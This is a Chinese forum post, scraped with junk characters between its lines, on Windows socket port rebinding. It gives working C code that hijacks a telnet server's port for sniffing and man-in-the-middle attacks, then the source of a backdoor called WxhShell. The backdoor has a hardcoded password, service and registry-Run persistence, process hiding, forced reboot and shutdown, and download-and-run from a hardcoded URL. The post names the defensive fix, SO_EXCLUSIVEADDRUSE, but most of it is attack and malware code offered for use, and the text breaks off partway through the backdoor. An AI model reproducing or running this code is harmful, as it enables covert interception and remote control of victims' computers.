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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?$/W3Xn0%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iZ ;562Mo  
({C|(v9 C7  
  saddr.sin_family = AF_INET; iy_3#x5>  
<< YH4}wZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4Xv."L  
p8&rl|z|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1x+w|h  
Zjc 0R   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !|"LAr9u  
"Q tkNy%E  
  这意味着什么?意味着可以进行如下的攻击: _XI,z0(  
2&o3OKt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jgYe\dinM  
YB]^Y^"e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H}1XK|K3#H  
UM+g8J{$*;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >-`-D=!V  
6?0QzSpfC#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cI <T/~P  
`n e9&+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /9-kG  
DPl&e-`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8..g\ZT  
7V~ gqum  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?U~`'^@  
lOIf4  
  #include -li;w tCS  
  #include hN;$'%^  
  #include Thp!X/2O`  
  #include    >- CNHb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U owbk:  
  int main() GM@0$  
  { eI5W; Q4  
  WORD wVersionRequested; )OQih+#?W  
  DWORD ret; oi^pU  
  WSADATA wsaData; @CCDe`R*  
  BOOL val; sbFA{l3   
  SOCKADDR_IN saddr; Reg%ah|$/=  
  SOCKADDR_IN scaddr; %#lJn.o  
  int err; j5 W)9HW:  
  SOCKET s; il:RE8  
  SOCKET sc; vH?3UW  
  int caddsize; CX>QP&Gj  
  HANDLE mt; <gY.2#6C\%  
  DWORD tid;   dJmr!bN\;  
  wVersionRequested = MAKEWORD( 2, 2 ); Z&J.8A]L  
  err = WSAStartup( wVersionRequested, &wsaData ); 8d>>r69$pa  
  if ( err != 0 ) { x.U:v20`  
  printf("error!WSAStartup failed!\n"); E. Arq6  
  return -1; ?)/&tk9.n  
  } \ 3l3,VYH  
  saddr.sin_family = AF_INET; mH4Jl1S&  
   yd`f<Hr<m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jn1(-  
vnv:YQV/ir  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p=f8A71  
  saddr.sin_port = htons(23); _^] :tL6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &8Oy*'  
  { XZpF<7l  
  printf("error!socket failed!\n"); |%Ssb;M  
  return -1; Ky[-ZQQo=5  
  } 8lT2qqlr  
  val = TRUE; *W1:AGpz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X&|y|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /A%31WE&1  
  { C;eM:v0A[  
  printf("error!setsockopt failed!\n"); roWg~U(S  
  return -1; 2?9gf,U  
  } Y:K1v:Knw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?_G?SQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .!h`(>+@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,*{9g6  
 DE14dU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +"SYG  
  { XZ1<sm8t."  
  ret=GetLastError(); UP e@>  
  printf("error!bind failed!\n"); &^b mZj!  
  return -1; An3%@;  
  } c UHKE\F  
  listen(s,2); B pl(s+  
  while(1) ~HyqHx y  
  { J~1 =?</  
  caddsize = sizeof(scaddr); 2z=aP!9]  
  //接受连接请求 0HS"Oxx'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >=3ay^(Y2D  
  if(sc!=INVALID_SOCKET) Z3nmC-NE  
  { x[eho,6)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )|i]"8I  
  if(mt==NULL) D7(kkr:r  
  { Kx5VR4f`J@  
  printf("Thread Creat Failed!\n"); W .bJ.hO*  
  break; SXm Hn.?  
  } '?v-o)X  
  } R"k}wRnxY  
  CloseHandle(mt); SRpPLY{:F  
  } 6 2#dSd}HG  
  closesocket(s); a2`|6M;  
  WSACleanup(); lG!We'?  
  return 0; `F TA{ba  
  }   9..! g:  
  DWORD WINAPI ClientThread(LPVOID lpParam) *Z=:?4u  
  { 4?cIn4}  
  SOCKET ss = (SOCKET)lpParam; bG[)r  
  SOCKET sc; ^# gR"\F`d  
  unsigned char buf[4096]; j`$d W H/2  
  SOCKADDR_IN saddr; ^bDh[O  
  long num; m%G:|`f7  
  DWORD val; K\vyfYi  
  DWORD ret; Z{J{6j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M?zwXmTVW0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]W>kbH Imz  
  saddr.sin_family = AF_INET; x9B{|+tIoc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dw e$, 9  
  saddr.sin_port = htons(23); \4pWHE/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CYWL@<p,  
  { 2<' 1m{  
  printf("error!socket failed!\n"); BD (  
  return -1; @ wJ|vW_.  
  } bQu1L>c,Uw  
  val = 100; 2n8spLZYGY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ley: =(  
  { auV<=1<zJ  
  ret = GetLastError(); %I6c}*W  
  return -1; jV!9IK;HA.  
  } %nkP?gn"a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h TY7`m">  
  { ] M#OS$_O@  
  ret = GetLastError(); BK16~Wl  
  return -1; zw,=mpf3_  
  } V]$J&aD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &>&UqWL  
  { D 4fHNk)kZ  
  printf("error!socket connect failed!\n"); DU>#eR0G  
  closesocket(sc); o?l9$"\sqb  
  closesocket(ss); (lBwkQNQGd  
  return -1; ^saH^kg1"  
  } 7`IoQvX  
  while(1) %uWq)D4r  
  { !uJD hC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q-M"+HO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +:&,Ts/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W8R"X~!V  
  num = recv(ss,buf,4096,0); _R?:?{r,  
  if(num>0) P,/=c(5\}  
  send(sc,buf,num,0); ) FnJLd  
  else if(num==0) Y^~Dr|5%  
  break; bzt(;>_8  
  num = recv(sc,buf,4096,0); P5^<c\Mr,Y  
  if(num>0) Pa-p9]gq  
  send(ss,buf,num,0); Lupug"p0   
  else if(num==0) 5D#Mhgun  
  break; y6*9, CF  
  } 6+hx64 =  
  closesocket(ss); gwyHDSo8:a  
  closesocket(sc); b^~"4fU  
  return 0 ; -'iV-]<  
  } - P$mN6h  
K4\#b}P!  
B5iVT<:a  
========================================================== FnFJw;:,{  
o2C{V1nB  
下边附上一个代码,,WXhSHELL %kRQ9I".  
)Kw Gb&l&  
========================================================== #M5R>&?Jqz  
^t{2k[@  
#include "stdafx.h" t kJw}W1@  
 KDODUohC  
#include <stdio.h> a*4l!-7  
#include <string.h> 2MapB*  
#include <windows.h> <:rbK9MIl  
#include <winsock2.h> !b0ANIp  
#include <winsvc.h> U)n+j}vi  
#include <urlmon.h> 1>BY:xZr  
^mA^7jB  
#pragma comment (lib, "Ws2_32.lib") np#RBy  
#pragma comment (lib, "urlmon.lib") C;C= g1I}  
TZ2-%k#  
#define MAX_USER   100 // 最大客户端连接数 muc>4!Q  
#define BUF_SOCK   200 // sock buffer Pq@%MF]5  
#define KEY_BUFF   255 // 输入 buffer ~RRp5x _  
ca},tov&  
#define REBOOT     0   // 重启 Vk>m/"  
#define SHUTDOWN   1   // 关机 '8$*gIQ8  
E~y@ue:  
#define DEF_PORT   5000 // 监听端口 W".: 1ov#B  
bvK fxAih  
#define REG_LEN     16   // 注册表键长度 uFzvb0O`O  
#define SVC_LEN     80   // NT服务名长度 ?Thh7#7LM  
&u@<0 1=  
// 从dll定义API I|27%i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TNHkHR[&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iksd^\]f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X?'v FC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (rM-~h6g  
,a&&y0,  
// wxhshell配置信息 /kLG/ry8l:  
struct WSCFG { #H;yXsR `  
  int ws_port;         // 监听端口 y]5c!N %8  
  char ws_passstr[REG_LEN]; // 口令 j6NK 7Li  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2Bf]#l{z  
  char ws_regname[REG_LEN]; // 注册表键名 t3dvHU&Z:  
  char ws_svcname[REG_LEN]; // 服务名 !G0OD$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sas &P:# r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U;l!.mze  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j~IX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X \1grM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EO<{Bj=2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^HYrJr$y  
yv@td+-"D  
}; HX(Z(rcI  
m|}};8  
// default Wxhshell configuration Y2)2 tzr]  
struct WSCFG wscfg={DEF_PORT, U49#?^?  
    "xuhuanlingzhe", am$-1+iX  
    1, ac-R q.GQY  
    "Wxhshell",  m,,FNYW  
    "Wxhshell", 5V|D%t2N  
            "WxhShell Service", <)vjoRv  
    "Wrsky Windows CmdShell Service", ]%RX\~Q.4  
    "Please Input Your Password: ", 'D B4po.   
  1, Xlw8> .\  
  "http://www.wrsky.com/wxhshell.exe", UY)e6 Zd  
  "Wxhshell.exe" 9&>)4HNd?  
    }; nMniHB'  
uEK9  
// 消息定义模块 eq|G\XJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /ynvQ1#uA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >8pmClVvmR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "o=*f/M  
char *msg_ws_ext="\n\rExit."; A1mxM5N  
char *msg_ws_end="\n\rQuit."; : " ([i"  
char *msg_ws_boot="\n\rReboot..."; Vz"Ja  
char *msg_ws_poff="\n\rShutdown..."; K,VN?t <h  
char *msg_ws_down="\n\rSave to "; ww_gG5Fc$  
w4S0aR:yL  
char *msg_ws_err="\n\rErr!"; 0nh;0Z  
char *msg_ws_ok="\n\rOK!"; UJqDZIvC  
NaR/IsN8%  
char ExeFile[MAX_PATH]; 8op,;Z7Y  
int nUser = 0; 3M;[.b  
HANDLE handles[MAX_USER]; FXHcy:)}G  
int OsIsNt; C;u8qVI  
A[/_}bI|  
SERVICE_STATUS       serviceStatus; 9{{|P=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J73B$0FP  
[ _jd  
// 函数声明 dW32O2@-  
int Install(void); /G zA89N(  
int Uninstall(void); 63J_u-o  
int DownloadFile(char *sURL, SOCKET wsh); !zhg3B# p  
int Boot(int flag); +x7b9sHJ  
void HideProc(void); )4[Yplo  
int GetOsVer(void); U_-9rkUa  
int Wxhshell(SOCKET wsl); Yt 9{:+[RK  
void TalkWithClient(void *cs); @+gr>a1K#  
int CmdShell(SOCKET sock); RS$!TTeQ  
int StartFromService(void); 9^;)~ G  
int StartWxhshell(LPSTR lpCmdLine); \Bg;^6U  
^x! N]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jkPye{j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); muAI$IRR   
@E(_H$|E  
// 数据结构和表定义 (5^bU<  
SERVICE_TABLE_ENTRY DispatchTable[] = 6vx0F?>_  
{ Hcp)Q76X  
{wscfg.ws_svcname, NTServiceMain}, F~NmLm  
{NULL, NULL} Po%+:0oX  
}; @_gCGI>Q  
>O{U4_j@(  
// 自我安装 ^!={=No]  
int Install(void) H%!ED1zpA  
{ Px!M^ T!Pi  
  char svExeFile[MAX_PATH]; ZB+N[VJs)  
  HKEY key; ST#OO!  
  strcpy(svExeFile,ExeFile); (XQBBt  
[hLSK-K 9  
// 如果是win9x系统,修改注册表设为自启动 )zFPf]gz  
if(!OsIsNt) { &8l"Dl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n/ \{}9   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,qx;kJJ  
  RegCloseKey(key); B,@<60u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _TB,2 R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;*3OkNxa3  
  RegCloseKey(key); l5> H\  
  return 0; JGJXV3AT  
    } =F(fum;zH  
  } tWs ]Zd  
} tD G[}j  
else {  H %Cb  
4CzT<cp  
// 如果是NT以上系统,安装为系统服务 E3pnu.;U:_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mfYY?]A*+  
if (schSCManager!=0) )1PZ#  
{ X3C"A|HE9  
  SC_HANDLE schService = CreateService XHX\+&6  
  ( j{.P'5e@pZ  
  schSCManager, $VWeo#b  
  wscfg.ws_svcname, H5L~[\ 5t  
  wscfg.ws_svcdisp, VtNY~  
  SERVICE_ALL_ACCESS, :YL`GSl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kRCuc}:SB  
  SERVICE_AUTO_START, *, /ADtL  
  SERVICE_ERROR_NORMAL, a/9R~DwN  
  svExeFile, ?w{lC,  
  NULL,  aOS:rC  
  NULL, + _=&7  
  NULL, $ekB+ t:cj  
  NULL, Lo'P;Sb4<}  
  NULL tBtG- X2  
  ); &f}a`/{@  
  if (schService!=0) ZnX]Q+w  
  { *W'F 6Hpu  
  CloseServiceHandle(schService); a3&&7n  
  CloseServiceHandle(schSCManager); 2"31k2H[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q/ x(:yol  
  strcat(svExeFile,wscfg.ws_svcname); z9@Tg= #i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $1QQidB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `MMh"# xN  
  RegCloseKey(key); #=tWjInm  
  return 0; &3 QdQ n,  
    } QJBzv|  
  } F9hh- "(Z  
  CloseServiceHandle(schSCManager); E0;KTcZi  
} kC =e>v  
} ~! *xi  
< a g|#  
return 1; M;BDo(1  
} 9uV'# sR  
+- ~:E_G  
// 自我卸载 WaU+ZgDrG  
int Uninstall(void) W`baD!*  
{ &kR+7  
  HKEY key; taS2b#6\+  
BPp`r_m8w}  
if(!OsIsNt) { W/(D"[:l%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Un{Q~6h  
  RegDeleteValue(key,wscfg.ws_regname); [dm&I#m=  
  RegCloseKey(key); <kQ 5sG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rJ LlDKP-(  
  RegDeleteValue(key,wscfg.ws_regname); }GIwYh/  
  RegCloseKey(key); XcoV27  
  return 0; _l?InNv  
  } (!-gX" <b  
} ]7 qn&(]  
} Uu~7+oaQ  
else { <h(KI Y9T  
tx$kD2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P8tpbdZE-  
if (schSCManager!=0) l+6y$2QR  
{ %9,:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o,| LO$~  
  if (schService!=0) <qG4[W,[  
  { 08J[9a0[  
  if(DeleteService(schService)!=0) { #) eI]  
  CloseServiceHandle(schService); 8]@)0q {r  
  CloseServiceHandle(schSCManager); k lLhi<*  
  return 0; ` ZO#n  
  } Z(fXN$  
  CloseServiceHandle(schService); Gp0H[-oF  
  } bRSE"B  
  CloseServiceHandle(schSCManager);  U 6((  
} k)Y}X)\36  
} t' )47k\  
i$~2pr  
return 1; N=1zhI:VaQ  
} 'H"wu /#  
P5u Y1(  
// 从指定url下载文件 dGxk ql  
int DownloadFile(char *sURL, SOCKET wsh) r)ni;aP  
{ mR3)$!  
  HRESULT hr; l@ +lUx8  
char seps[]= "/"; %4F Q~  
char *token; 4CO"> :  
char *file; _lWC)bv`  
char myURL[MAX_PATH]; z >EOQe  
char myFILE[MAX_PATH]; tDWW 4H  
kq;1Ax0 {  
strcpy(myURL,sURL); P}So>P~2  
  token=strtok(myURL,seps); |Ai/q6u  
  while(token!=NULL) (0L7Ivg<  
  { 3NI3b-7  
    file=token; N_dHPa  
  token=strtok(NULL,seps); uvN Lm]*  
  } XRZj+muTZ  
6f"jl  
GetCurrentDirectory(MAX_PATH,myFILE); cT2&nZ  
strcat(myFILE, "\\"); )gOVnA/M  
strcat(myFILE, file); lSMv9 :N  
  send(wsh,myFILE,strlen(myFILE),0); bve_*7CEM  
send(wsh,"...",3,0); {WBe(dc_%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +iS'$2)@  
  if(hr==S_OK) AYhWeI+  
return 0; |u r/6{Oj1  
else L-&N*   
return 1; Wo&WO e  
=mVWfFL  
} 7_OC&hhL  
^!Y]l  
// 系统电源模块 y^PQgzm]  
int Boot(int flag) d:Y!!LV-@L  
{ UL9]LEGG  
  HANDLE hToken; @vsgmz  
  TOKEN_PRIVILEGES tkp; cB$OkaG#  
#'poDX?  
  if(OsIsNt) { z\S#P|;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oRf.34  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cyM9[X4rC  
    tkp.PrivilegeCount = 1; eUBf-xA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %bu$t,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C%2BDj  
if(flag==REBOOT) { {e'P* j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~lBb%M  
  return 0; 6Zr_W#SE  
} OQlmzg  
else { l ga%U~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0ge"ISK  
  return 0; [&_7w\m  
} YmrrZ&]q  
  } d=` a-R0  
  else { 968<yO]  
if(flag==REBOOT) { z7vc|Z|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5j8aMnvs  
  return 0; / .wO<l=  
} AnF"+<  
else { Sb2hM~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /+V}.  
  return 0; _Y{8FN(4  
} Hw0S/ytY  
} M~rN17S  
XmZs4~\K$G  
return 1; a&^HvXO(>(  
} ro&/  
Mh =yIx</  
// win9x进程隐藏模块 'CQ~ZV5  
void HideProc(void) yL2sce[  
{ {GH0> 1&  
1K* `i(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zz,j,w0 Z  
  if ( hKernel != NULL ) d}RU-uiW  
  { O]-)?y/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F"-u8in`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dd+hX$,  
    FreeLibrary(hKernel); H{)DI(,Y^P  
  } l|kGp~  
ftb .CPWI  
return; T!f+H?6  
} 8"'Z0 Ey  
xK*G'3Ge  
// 获取操作系统版本 D(;jv="/  
int GetOsVer(void) X-,mNv z  
{ \m xi8Z w  
  OSVERSIONINFO winfo; <<FBT`Y[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {"dvU "y)\  
  GetVersionEx(&winfo); B*OEG*t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >='y+ 68  
  return 1; >z'T"R/  
  else [QwBSq8)  
  return 0; gLDO|ADni  
} ^P!(* k#T  
 JT,[;  
// 客户端句柄模块 ngt?9i;N  
int Wxhshell(SOCKET wsl) '?Jz8iu-  
{ +^6a$ N  
  SOCKET wsh; MJ\^i4  
  struct sockaddr_in client; euMJ c  
  DWORD myID; #Dz. 58A  
r"_U-w  
  while(nUser<MAX_USER) ^g'P H{68  
{ 5i0vli /L  
  int nSize=sizeof(client); 7DZZdH$Fm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YHp]O+c  
  if(wsh==INVALID_SOCKET) return 1; XLgp.w;  
N,3 )`Vm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DqJzsk'd3  
if(handles[nUser]==0) "C]v   
  closesocket(wsh); c]/X >8;  
else B*@0l:  
  nUser++; S4Q fx6:~h  
  } e"d-$$'e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NiSybyR$  
_x`oab0@  
  return 0; 8{- *Q(=/  
} \H4$9lPk  
V;LV),R?  
// 关闭 socket b Y2:g )  
void CloseIt(SOCKET wsh) F"^/R  
{ Ja7yq{j  
closesocket(wsh); \Dx;AKs  
nUser--; TFZxk  
ExitThread(0); gWIb"l  
} FyhLMW3  
5M&<tj/[a0  
// 客户端请求句柄 6no&2a|D  
void TalkWithClient(void *cs)  ~LF/wx>  
{ HkQ rij6  
z.T>=C  
  SOCKET wsh=(SOCKET)cs; ["H2H rI2  
  char pwd[SVC_LEN]; cK1 Fv6V#  
  char cmd[KEY_BUFF]; 5F78)q u6N  
char chr[1]; D &Bdl5g  
int i,j; zHX7%x,Cq  
;S?ei>Q  
  while (nUser < MAX_USER) { 1>=]lMW  
mVd%sWD  
if(wscfg.ws_passstr) { X/f?=U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8b:GyC5L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `]I p`_{  
  //ZeroMemory(pwd,KEY_BUFF); r>lo@e0G  
      i=0; sh/4ui{  
  while(i<SVC_LEN) { !BjJ5m  
v ;nnr0;  
  // 设置超时 U?xa^QVhj  
  fd_set FdRead; =/ +f3  
  struct timeval TimeOut; 8dLK5"_3  
  FD_ZERO(&FdRead); -4v2]  
  FD_SET(wsh,&FdRead); NydF'N_1  
  TimeOut.tv_sec=8; no,b_0@N  
  TimeOut.tv_usec=0; Y#zHw< <E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AQGl}%k_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nC}Y+_wo0  
$}JWJ\-]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >x*ef]aS  
  pwd=chr[0]; f+%s.[;A  
  if(chr[0]==0xd || chr[0]==0xa) { Ys>Z=Eky  
  pwd=0; 7n[0)XR>  
  break; @Yw>s9X  
  } WCP2x.gb5  
  i++; qK)T#sh  
    } g!;a5p6  
zwJ\F '  
  // 如果是非法用户,关闭 socket /[I#3|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }2''}-Nc  
} 0V+v)\4FE  
!8*7{7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r-AD*h@QZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y[';@t7CC  
.|i/ a%J  
while(1) { e3k58  
r8Z.}<j  
  ZeroMemory(cmd,KEY_BUFF); CsJ&,(s(  
EvptGM  
      // 自动支持客户端 telnet标准   : j`4nXm  
  j=0; X`A+/{ H  
  while(j<KEY_BUFF) { 7;a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^g=j`f[T  
  cmd[j]=chr[0]; 6eQa @[.Q  
  if(chr[0]==0xa || chr[0]==0xd) { !l$k6,WJi  
  cmd[j]=0; g*;z V i  
  break; s]pNT1,  
  } m#^;V  
  j++; c6cB {/g  
    } z:;yx  
t]hfq~Ft  
  // 下载文件 [ZL<Q  
  if(strstr(cmd,"http://")) { Y+DVwz$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Prrz>  
  if(DownloadFile(cmd,wsh)) _ZE&W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#Qlr{ES  
  else A"6&   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m$VCCDv  
  } A$n:   
  else { <m> m"|G  
5nXmaj  
    switch(cmd[0]) { t4UL|fI  
  h\4enu9[RL  
  // 帮助 8M,$|\U  
  case '?': { %?BygG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |#sY(1  
    break; yeLd,M/I  
  } S;tvt/\!Z  
  // 安装 _FkH;MGWS  
  case 'i': { k54b@U52 h  
    if(Install()) pp+z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _adW>-wQ!d  
    else Y/f8rN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ncP#6  
    break; XrJLlH>R4  
    } ) 3ZkKv;zY  
  // 卸载 hVNT  
  case 'r': { Q"K`~QF"  
    if(Uninstall()) 4'y@ne}g!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |?v+8QL,;t  
    else #&Rx?V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y+gNi_dE  
    break; W$J@|i  
    } "}b/[U@>  
  // 显示 wxhshell 所在路径 AG|:mQO  
  case 'p': { /k KVIlO  
    char svExeFile[MAX_PATH]; TiKfIv  
    strcpy(svExeFile,"\n\r"); LCqWL1  
      strcat(svExeFile,ExeFile); S& F;~  
        send(wsh,svExeFile,strlen(svExeFile),0); @[#)zO  
    break; t')%; N  
    } >VJ"e`  
  // 重启 QO %;%p*  
  case 'b': { CYdYa|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C?]+(P  
    if(Boot(REBOOT)) 7>3+]njw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s14 ot80)  
    else { 5}2148  
    closesocket(wsh); YoSBS   
    ExitThread(0); X$=/H 6R5Z  
    } 2tS,q_-=  
    break; >+@EU)  
    } sW&h?jdf  
  // 关机 jpZ 7p ;  
  case 'd': { 6%MM)Vj+u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SqVh\Nn  
